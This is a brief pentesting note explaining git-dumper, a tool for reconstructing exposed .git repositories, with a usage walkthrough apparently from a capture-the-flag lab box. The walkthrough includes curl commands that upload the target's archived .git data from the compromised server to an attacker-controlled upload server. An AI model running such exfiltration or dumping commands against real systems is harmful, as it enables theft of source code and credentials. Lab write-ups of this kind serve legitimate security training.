Table of Contents
Summery
git-dumper is a tool used to download an exposed .git directory from a web server.
If a website accidentally exposes https://target.com/.git/, git-dumper attempts to retrieve the Git repository and reconstruct it locally.
You can then inspect the repository’s history, branches, commits, and files. This can reveal things developers accidentally committed, such as configuration files, API keys, passwords, or deleted files still present in Git history.
In pentesting, it’s mainly used for enumerating accidentally exposed source code and Git history.
“This tool doesn’t only download and lists files from /.git as expected - it reconstructs the repo itself rebuilding the actual working directory from the git objects.”
git-dumper vs git
git and git-dumper operate at different stages.
git works with a Git repository you already have locally, but if a website exposes only .git, you first need to retrieve the repository data. That’s what git-dumper does.
So git-dumper is essentially a Git repository downloader/reconstructor. Once you’ve recovered the repository, normal git commands let you investigate it.
Commands
git-dumper http://10.10.14.196:1340/.git git - Basic command
pipx run git-dumper http://10.10.14.196:1340/.git git - Recreate a remote repository
Example of usage
I started an upload server with python3 using pipx run uploadserver, and I tested that I can download a file with curl -F "files=@/var/www/html/intentions/.git" http://10.10.14.196:1339/upload. To actually download the full .git repo I need to compress it into an archive. To do so I run tar -czf repo.tar.gz ../.git . from ~/html/intentions/storage which I knew was writable by www-data. Now, with my curl command I just ran curl -F "files=@/var/www/html/intentions/storage/repo.tar.gz" http://10.10.14.196:1339/upload and unarchived with tar -xzf repo.tar.gz.
I then tried to run git-dumper with pipx run git-dumper .git git so that it can recreate it from the data it has but the first positional argument it supposed to be a URL. To bypass it, I created a python3 server on my directory and just blocked did pipx run git-dumper http://10.10.14.196:1340/.git git and it worked.
Resources
git, Intentions, UpDown